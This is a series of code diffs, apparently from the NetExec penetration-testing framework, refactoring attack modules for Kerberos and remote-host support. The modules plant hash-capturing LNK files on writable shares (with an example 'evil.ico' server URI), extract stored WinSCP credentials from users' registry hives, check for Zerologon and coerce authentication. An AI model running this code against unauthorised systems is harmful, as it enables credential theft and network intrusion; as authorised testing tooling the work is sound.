self.__doKerberos = doKerberos
|
||||
self.__remoteHost = remoteHost
|
||||
self.__kdcHost = kdcHost
|
||||
self.__tries = tries
|
||||
self.__output_filename = None
|
||||
@@ -108,6 +110,7 @@ class TSCH_EXEC:
|
||||
|
||||
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
|
||||
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
self.__rpctransport.setRemoteHost(self.__remoteHost)
|
||||
|
||||
if hasattr(self.__rpctransport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import ntpath
|
||||
from sys import exit
|
||||
from nxc.paths import TMP_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -44,7 +45,7 @@ class NXCModule:
|
||||
exit(1)
|
||||
|
||||
self.scf_name = module_options["NAME"]
|
||||
self.scf_path = f"/tmp/{self.scf_name}.scf"
|
||||
self.scf_path = f"{TMP_PATH}/{self.scf_name}.scf"
|
||||
self.file_path = ntpath.join("\\", f"{self.scf_name}.scf")
|
||||
|
||||
if not self.cleanup:
|
||||
|
||||
@@ -43,10 +43,11 @@ class NXCModule:
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
target=connection.host if not connection.kerberos else connection.remoteName,
|
||||
pipe="FssagentRpc",
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
remoteHost=connection.host,
|
||||
)
|
||||
|
||||
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
|
||||
@@ -61,8 +62,9 @@ class NXCModule:
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
target=connection.host if not connection.kerberos else connection.remoteName,
|
||||
pipe="FssagentRpc",
|
||||
remoteHost=connection.host,
|
||||
)
|
||||
|
||||
if self.ipsc:
|
||||
@@ -194,6 +196,7 @@ class CoerceAuth:
|
||||
pipe,
|
||||
doKerberos,
|
||||
dcHost,
|
||||
remoteHost,
|
||||
):
|
||||
binding_params = {
|
||||
"FssagentRpc": {
|
||||
@@ -202,7 +205,7 @@ class CoerceAuth:
|
||||
},
|
||||
}
|
||||
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
@@ -213,7 +216,8 @@ class CoerceAuth:
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.set_credentials(*rpctransport.get_credentials())
|
||||
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
+45
-27
@@ -7,42 +7,55 @@ class NXCModule:
|
||||
"""
|
||||
Original idea and PoC by Justin Angel (@4rch4ngel86)
|
||||
Module by @byt3bl33d3r
|
||||
Updated by @Marshall-Hallenbeck
|
||||
"""
|
||||
|
||||
name = "slinky"
|
||||
description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
|
||||
description = "Creates windows shortcuts with the icon attribute containing a URI to the specified server (default SMB) in all shares with write permissions"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
def __init__(self):
|
||||
self.server = None
|
||||
self.file_path = None
|
||||
self.lnk_path = None
|
||||
self.lnk_name = None
|
||||
self.ico_uri = None
|
||||
self.shares = None
|
||||
self.cleanup = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
SERVER IP of the SMB server
|
||||
NAME LNK file name
|
||||
r"""
|
||||
SERVER IP of the listening server (running Responder, etc)
|
||||
NAME LNK file name written to the share(s)
|
||||
ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
|
||||
SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
|
||||
CLEANUP Cleanup (choices: True or False)
|
||||
"""
|
||||
self.cleanup = False
|
||||
|
||||
if "CLEANUP" in module_options:
|
||||
self.cleanup = bool(module_options["CLEANUP"])
|
||||
context.log.debug("Cleanup set to True")
|
||||
|
||||
if "NAME" not in module_options:
|
||||
context.log.fail("NAME option is required!")
|
||||
exit(1)
|
||||
|
||||
if "SHARES" in module_options:
|
||||
self.shares = module_options["SHARES"].split(",")
|
||||
context.log.debug(f"Shares to write to: {self.shares}")
|
||||
|
||||
if not self.cleanup and "SERVER" not in module_options:
|
||||
context.log.fail("SERVER option is required!")
|
||||
exit(1)
|
||||
|
||||
|
||||
if "ICO_URI" in module_options:
|
||||
self.ico_uri = module_options["ICO_URI"]
|
||||
context.log.debug("Overriding")
|
||||
|
||||
|
||||
self.lnk_name = module_options["NAME"]
|
||||
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
|
||||
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
|
||||
@@ -50,28 +63,33 @@ class NXCModule:
|
||||
if not self.cleanup:
|
||||
self.server = module_options["SERVER"]
|
||||
link = pylnk3.create(self.lnk_path)
|
||||
link.icon = f"\\\\{self.server}\\icons\\icon.ico"
|
||||
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
|
||||
link.save()
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if "WRITE" in share["access"] and share["name"] not in [
|
||||
"C$",
|
||||
"ADMIN$",
|
||||
"NETLOGON",
|
||||
]:
|
||||
context.log.success(f"Found writable share: {share['name']}")
|
||||
if not self.cleanup:
|
||||
with open(self.lnk_path, "rb") as lnk:
|
||||
if shares:
|
||||
slinky_logger = context.log.init_log_file()
|
||||
context.log.add_file_log(slinky_logger)
|
||||
|
||||
for share in shares:
|
||||
# TODO: these can be written to - add an option to override these
|
||||
if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]:
|
||||
if self.shares is not None and share["name"] not in self.shares:
|
||||
context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
|
||||
continue
|
||||
|
||||
context.log.success(f"Found writable share: {share['name']}")
|
||||
if not self.cleanup:
|
||||
with open(self.lnk_path, "rb") as lnk:
|
||||
try:
|
||||
connection.conn.putFile(share["name"], self.file_path, lnk.read)
|
||||
context.log.success(f"Created LNK file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
|
||||
else:
|
||||
try:
|
||||
connection.conn.putFile(share["name"], self.file_path, lnk.read)
|
||||
context.log.success(f"Created LNK file on the {share['name']} share")
|
||||
connection.conn.deleteFile(share["name"], self.file_path)
|
||||
context.log.success(f"Deleted LNK file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
|
||||
else:
|
||||
try:
|
||||
connection.conn.deleteFile(share["name"], self.file_path)
|
||||
context.log.success(f"Deleted LNK file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
|
||||
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
|
||||
@@ -7,6 +7,7 @@ from impacket.dcerpc.v5.rpch import (
|
||||
RPC_PROXY_CONN_A1_404_ERR,
|
||||
RPC_PROXY_RPC_OUT_DATA_404_ERR,
|
||||
)
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
KNOWN_PROTOCOLS = {
|
||||
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
|
||||
@@ -47,14 +48,14 @@ class NXCModule:
|
||||
context.log.debug(f"StringBinding {self.__stringbinding}")
|
||||
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
|
||||
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
|
||||
rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.set_dport(self.port)
|
||||
|
||||
if connection.kerberos:
|
||||
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
|
||||
|
||||
try:
|
||||
entries = self.__fetch_list(rpctransport)
|
||||
entries = self.__fetch_list(connection.kerberos, rpctransport)
|
||||
except Exception as e:
|
||||
error_text = f"Protocol failed: {e}"
|
||||
context.log.critical(error_text)
|
||||
@@ -112,8 +113,10 @@ class NXCModule:
|
||||
else:
|
||||
context.log.debug("[Spooler] No endpoints found")
|
||||
|
||||
def __fetch_list(self, rpctransport):
|
||||
def __fetch_list(self, doKerberos, rpctransport):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
resp = epm.hept_lookup(None, dce=dce)
|
||||
dce.disconnect()
|
||||
|
||||
@@ -37,7 +37,6 @@ class NXCModule:
|
||||
"""
|
||||
self.log_file = None
|
||||
self.desc_count = 0
|
||||
self.context = context
|
||||
self.account_names = set()
|
||||
self.keywords = {"pass", "creds", "creden", "key", "secret", "default"}
|
||||
|
||||
@@ -71,6 +70,7 @@ class NXCModule:
|
||||
On successful LDAP login we perform a search for all user objects that have a description.
|
||||
Users can specify additional LDAP filters that are applied to the query.
|
||||
"""
|
||||
self.context = context
|
||||
self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
|
||||
context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'")
|
||||
|
||||
|
||||
+55
-114
@@ -51,25 +51,19 @@ class NXCModule:
|
||||
context.log.highlight(f"UserName: {session[2]}")
|
||||
context.log.highlight(f"Password: {session[3]}")
|
||||
|
||||
def user_object_to_name_mapper(self, context, connection, allUserObjects):
|
||||
def user_object_to_name_mapper(self, context, connection, all_user_objects):
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
|
||||
|
||||
for userObject in allUserObjects:
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
for user_object in all_user_objects:
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
|
||||
|
||||
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
self.userDict[userObject] = user_profile_path.split("\\")[-1]
|
||||
self.userDict[user_object] = user_profile_path.split("\\")[-1]
|
||||
finally:
|
||||
remote_ops.finish()
|
||||
|
||||
@@ -121,22 +115,14 @@ class NXCModule:
|
||||
return ~(((a << 4) + b) ^ self.PW_MAGIC) & 0xFF, pass_bytes
|
||||
|
||||
# ==================== Handle Registry ====================
|
||||
def registry_session_extractor(self, context, connection, userObject, sessionName):
|
||||
def registry_session_extractor(self, context, connection, user_object, sessionName):
|
||||
"""Extract Session information from registry"""
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + sessionName,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\{sessionName}")["phkResult"]
|
||||
host_name = unquote(rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0])
|
||||
user_name = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UserName")[1].split("\x00")[:-1][0]
|
||||
try:
|
||||
@@ -162,18 +148,13 @@ class NXCModule:
|
||||
user_objects = []
|
||||
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
# Enumerate all logged in and loaded Users on System
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
users = data["lpcSubKeys"]
|
||||
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
|
||||
# Get User Names
|
||||
user_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
|
||||
@@ -195,22 +176,13 @@ class NXCModule:
|
||||
user_objects = []
|
||||
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
# Enumerate all Users on System
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList",
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
users = data["lpcSubKeys"]
|
||||
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
|
||||
users = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
|
||||
# Get User Names
|
||||
user_objects = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
|
||||
@@ -222,86 +194,65 @@ class NXCModule:
|
||||
remote_ops.finish()
|
||||
return user_objects
|
||||
|
||||
def load_missing_users(self, context, connection, unloadedUserObjects):
|
||||
def load_missing_users(self, context, connection, unloaded_user_objects):
|
||||
"""Extract Information for not logged in Users and then loads them into registry."""
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
for userObject in unloadedUserObjects:
|
||||
for user_object in unloaded_user_objects:
|
||||
# Extract profile Path of NTUSER.DAT
|
||||
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + userObject,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
reg_handle = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
|
||||
user_profile_path = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
|
||||
# Load Profile
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
|
||||
rrp.hBaseRegLoadKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
userObject,
|
||||
user_profile_path + "\\" + "NTUSER.DAT",
|
||||
)
|
||||
context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
|
||||
rrp.hBaseRegLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
finally:
|
||||
remote_ops.finish()
|
||||
|
||||
def unload_missing_users(self, context, connection, unloadedUserObjects):
|
||||
"""If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind..."""
|
||||
def unload_missing_users(self, context, connection, unloaded_user_objects):
|
||||
"""If some user were not logged in at the beginning we unload them from registry."""
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
# Unload Profile
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
for userObject in unloadedUserObjects:
|
||||
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
|
||||
for user_object in unloaded_user_objects:
|
||||
context.log.debug("UNLOAD USER FROM REGISTRY: " + user_object)
|
||||
try:
|
||||
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, userObject)
|
||||
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, user_object)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error unloading user {userObject} in registry: {e}")
|
||||
context.log.fail(f"Error unloading user {user_object} in registry: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
finally:
|
||||
remote_ops.finish()
|
||||
|
||||
def check_masterpassword_set(self, connection, userObject):
|
||||
def check_masterpassword_set(self, context, connection, user_object):
|
||||
use_master_password = False
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
reg_handle = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security")["phkResult"]
|
||||
use_master_password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseMasterPassword")[1]
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug("Security configuration registry not found, no master passwords set at all.")
|
||||
else:
|
||||
context.log.exception(e)
|
||||
finally:
|
||||
remote_ops.finish()
|
||||
return use_master_password
|
||||
@@ -309,7 +260,7 @@ class NXCModule:
|
||||
def registry_discover(self, context, connection):
|
||||
context.log.display("Looking for WinSCP creds in Registry...")
|
||||
try:
|
||||
remote_ops = RemoteOperations(connection.conn, False)
|
||||
remote_ops = RemoteOperations(connection.conn, connection.kerberos)
|
||||
remote_ops.enableRegistry()
|
||||
|
||||
# Enumerate all Users on System
|
||||
@@ -321,39 +272,29 @@ class NXCModule:
|
||||
unloaded_user_objects = list(set(user_objects).symmetric_difference(set(all_user_objects)))
|
||||
self.load_missing_users(context, connection, unloaded_user_objects)
|
||||
|
||||
# Retrieve how many sessions are stored in registry from each UserObject
|
||||
# Retrieve how many sessions are stored in registry from each user_object
|
||||
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans["phKey"]
|
||||
for userObject in all_user_objects:
|
||||
for user_object in all_user_objects:
|
||||
try:
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions",
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
|
||||
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
sessions = data["lpcSubKeys"]
|
||||
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[userObject]}" in registry!')
|
||||
key_handle = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, f"{user_object}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions")["phkResult"]
|
||||
sessions = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[user_object]}" in registry!')
|
||||
|
||||
# Get Session Names
|
||||
session_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(sessions)]
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
session_names.remove("Default%20Settings")
|
||||
|
||||
if self.check_masterpassword_set(connection, userObject):
|
||||
if self.check_masterpassword_set(context, connection, user_object):
|
||||
context.log.fail("MasterPassword set! Aborting extraction...")
|
||||
continue
|
||||
# Extract stored Session infos
|
||||
for sessionName in session_names:
|
||||
self.print_creds(
|
||||
context,
|
||||
self.registry_session_extractor(context, connection, userObject, sessionName),
|
||||
)
|
||||
self.print_creds(context, self.registry_session_extractor(context, connection, user_object, sessionName))
|
||||
except DCERPCException as e:
|
||||
if str(e).find("ERROR_FILE_NOT_FOUND"):
|
||||
context.log.debug(f"No WinSCP config found in registry for user {userObject}")
|
||||
context.log.debug(f"No WinSCP config found in registry for user {user_object}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
|
||||
@@ -26,7 +26,7 @@ class NXCModule:
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname):
|
||||
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
|
||||
self.context.log.highlight("VULNERABLE")
|
||||
self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
|
||||
try:
|
||||
@@ -43,13 +43,15 @@ class NXCModule:
|
||||
except Exception:
|
||||
self.context.log.debug("Error updating zerologon status in database")
|
||||
|
||||
def perform_attack(self, dc_handle, dc_ip, target_computer):
|
||||
def perform_attack(self, dc_handle, dc_ip, target_computer, remoteHost):
|
||||
# Keep authenticating until successful. Expected average number of attempts needed: 256.
|
||||
self.context.log.debug("Performing authentication attempts...")
|
||||
rpc_con = None
|
||||
try:
|
||||
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
|
||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||
binding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
|
||||
rpc_con_ = transport.DCERPCTransportFactory(binding.replace(remoteHost, dc_ip))
|
||||
rpc_con_.setRemoteHost(remoteHost)
|
||||
rpc_con = rpc_con_.get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
for _attempt in range(MAX_ATTEMPTS):
|
||||
|
||||
+20
-45
@@ -21,7 +21,6 @@ import os
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
from sys import exit
|
||||
import logging
|
||||
from rich.progress import Progress
|
||||
import platform
|
||||
|
||||
@@ -42,11 +41,11 @@ async def start_run(protocol_obj, args, db, targets):
|
||||
futures = []
|
||||
nxc_logger.debug("Creating ThreadPoolExecutor")
|
||||
if args.no_progress or len(targets) == 1:
|
||||
with ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
|
||||
with ThreadPoolExecutor(max_workers=args.threads) as executor:
|
||||
nxc_logger.debug(f"Creating thread for {protocol_obj}")
|
||||
futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
|
||||
else:
|
||||
with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
|
||||
with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads) as executor:
|
||||
current = 0
|
||||
total = len(targets)
|
||||
tasks = progress.add_task(
|
||||
@@ -67,19 +66,8 @@ async def start_run(protocol_obj, args, db, targets):
|
||||
|
||||
def main():
|
||||
first_run_setup(nxc_logger)
|
||||
root_logger = logging.getLogger("root")
|
||||
args = gen_cli_args()
|
||||
|
||||
if args.verbose:
|
||||
nxc_logger.logger.setLevel(logging.INFO)
|
||||
root_logger.setLevel(logging.INFO)
|
||||
elif args.debug:
|
||||
nxc_logger.logger.setLevel(logging.DEBUG)
|
||||
root_logger.setLevel(logging.DEBUG)
|
||||
else:
|
||||
nxc_logger.logger.setLevel(logging.ERROR)
|
||||
root_logger.setLevel(logging.ERROR)
|
||||
|
||||
# if these are the same, it might double log to file (two FileHandlers will be added)
|
||||
# but this should never happen by accident
|
||||
if config_log:
|
||||
@@ -87,8 +75,8 @@ def main():
|
||||
if hasattr(args, "log") and args.log:
|
||||
nxc_logger.add_file_log(args.log)
|
||||
|
||||
nxc_logger.debug("PYTHON VERSION: " + sys.version)
|
||||
nxc_logger.debug("RUNNING ON: " + platform.system() + " Release: " + platform.release())
|
||||
nxc_logger.debug(f"PYTHON VERSION: {sys.version}")
|
||||
nxc_logger.debug(f"RUNNING ON: {platform.system()} Release: {platform.release()}")
|
||||
nxc_logger.debug(f"Passed args: {args}")
|
||||
|
||||
# FROM HERE ON A PROTOCOL IS REQUIRED
|
||||
@@ -151,7 +139,8 @@ def main():
|
||||
nxc_logger.debug(f"Protocol DB Path: {protocol_db_path}")
|
||||
|
||||
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
|
||||
nxc_logger.debug(f"Protocol Object: {protocol_object}")
|
||||
nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}")
|
||||
nxc_logger.debug(f"Protocol Object dir: {dir(protocol_object)}")
|
||||
protocol_db_object = p_loader.load_protocol(protocol_db_path).database
|
||||
nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
|
||||
|
||||
@@ -184,13 +173,15 @@ def main():
